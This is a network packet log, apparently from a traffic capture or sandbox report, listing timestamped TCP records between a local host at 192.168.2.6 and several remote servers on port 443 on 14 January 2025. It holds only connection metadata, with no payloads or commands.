Jan 14, 2025 15:56:00.337518930 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337594032 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.337603092 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337620020 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337681055 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.337687969 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337749958 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337779045 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.337779045 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337790966 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337821960 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.339226007 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.339299917 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.339374065 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.341732979 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.341752052 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.396938086 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:00.396975994 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:00.397046089 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:00.397336960 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:00.397349119 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:00.520634890 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.520683050 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.520945072 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.521213055 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.521225929 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.522157907 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:00.522185087 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:00.522305965 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:00.522708893 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:00.522726059 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:00.803893089 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.804229021 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.804246902 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.804578066 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.805107117 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.805162907 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.805495977 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.813127041 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.813616991 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.813627005 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.814661980 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.814744949 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.815238953 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.815419912 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.815444946 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.847326994 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.852519035 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.853013039 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.853023052 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.854057074 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.854147911 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.855864048 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.855926991 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.856215954 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.856221914 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.859002113 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.859025002 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.902966022 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.902978897 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.079479933 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.079502106 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.079755068 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.079773903 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.079859972 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.080039978 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.080101013 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.080166101 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.080831051 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.080847979 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.090487003 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.090519905 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.090605974 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.091010094 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.091022968 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.094386101 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.094430923 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.094485044 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.094506979 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.094548941 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.094553947 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.094599009 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.094639063 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.095993042 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.096008062 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.118290901 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.118571997 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.118586063 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.119647980 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.119710922 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.120146990 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.120213032 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.120376110 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.120388985 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.139935017 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.139967918 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.140019894 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.140041113 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.140798092 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.140865088 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.141415119 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:01.141427040 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:01.152179003 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.152837038 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.152848959 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.154634953 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.154701948 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.155052900 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.155133963 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.155219078 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.155226946 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.175172091 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.200278044 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.241619110 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.244000912 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.244050026 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.244138002 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.246371031 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.246381044 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.246932983 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.246951103 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.247551918 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.247631073 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.248840094 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.249073982 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.249176025 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.249183893 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.254115105 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259839058 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259856939 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259885073 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259902000 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259908915 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.259910107 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259927988 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.259960890 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.259984970 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.299932003 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.342828989 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.342894077 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.342922926 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.342940092 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.342983007 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.347495079 CET	49856	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:56:01.347512960 CET	443	49856	169.150.236.105	192.168.2.6
Jan 14, 2025 15:56:01.431447983 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431473970 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431483030 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431504965 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431529999 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.431549072 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431576014 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.431593895 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.431602955 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.431627989 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.512945890 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.512981892 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.513093948 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.513145924 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.513205051 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.518651962 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.518695116 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.518770933 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.518779993 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.518831015 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.597667933 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.597703934 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.597764015 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.597785950 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.597825050 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.597841978 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.599147081 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.599178076 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.599244118 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.599251986 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.599303007 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.600753069 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.600775003 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.600821972 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.600830078 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.600864887 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.600887060 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.608175039 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.608198881 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.608262062 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.608273983 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.608323097 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.684444904 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684494019 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684580088 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.684597969 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684659958 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.684672117 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684693098 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684732914 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.684741020 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.684756041 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.684776068 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.685463905 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.685483932 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.685527086 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.685535908 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.685580969 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.685580969 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.686129093 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.686151028 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.686218977 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.686225891 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.686265945 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.690397978 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690416098 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690480947 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.690493107 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690527916 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690540075 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.690552950 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690565109 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.690565109 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.690606117 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.692514896 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.692532063 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.692583084 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.692591906 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.692632914 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.721172094 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.721200943 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.721273899 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.721287012 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.721332073 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.739734888 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.740103006 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.740122080 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.741250038 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.741312027 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.742873907 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.742953062 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.743174076 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.743180990 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.771155119 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771186113 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771254063 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771266937 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771343946 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771517038 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771534920 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771588087 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771594048 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771672010 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771850109 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771866083 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771909952 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771917105 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.771949053 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.771974087 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.772317886 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772334099 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772393942 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.772401094 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772438049 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.772526026 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772542953 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772586107 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.772592068 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.772630930 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.773964882 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.773988962 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.774045944 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.774053097 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.774079084 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.774099112 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.777231932 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.777256966 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.777313948 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.777319908 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.777368069 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.777386904 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.781908035 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.781934023 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.781985998 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.781991959 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.782032013 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.793788910 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.810302973 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810336113 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810347080 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810375929 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810390949 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810389996 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.810401917 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810425043 CET	443	49855	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:01.810456038 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.810478926 CET	49855	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:01.814897060 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.815475941 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.815501928 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.816569090 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.816724062 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.817464113 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.817538977 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.818084002 CET	49862	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.818097115 CET	443	49862	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.854124069 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.854206085 CET	443	49864	100.29.141.76	192.168.2.6
Jan 14, 2025 15:56:01.854268074 CET	49864	443	192.168.2.6	100.29.141.76
Jan 14, 2025 15:56:01.858195066 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858226061 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858304024 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858324051 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858371973 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858690023 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858711958 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858751059 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858757973 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858776093 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858788967 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858800888 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858807087 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858814955 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.858841896 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.858920097 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859184980 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859201908 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859244108 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859270096 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859286070 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859286070 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859330893 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859339952 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859339952 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859392881 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.859425068 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.859450102 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.860691071 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.860711098 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.860755920 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.860764027 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.860805035 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.860826969 CET	49854	443	192.168.2.6	143.204.98.128
Jan 14, 2025 15:56:01.866662025 CET	443	49854	143.204.98.128	192.168.2.6
Jan 14, 2025 15:56:01.866693974 CET	443	49854	143.204.98.128	192.168.2.6
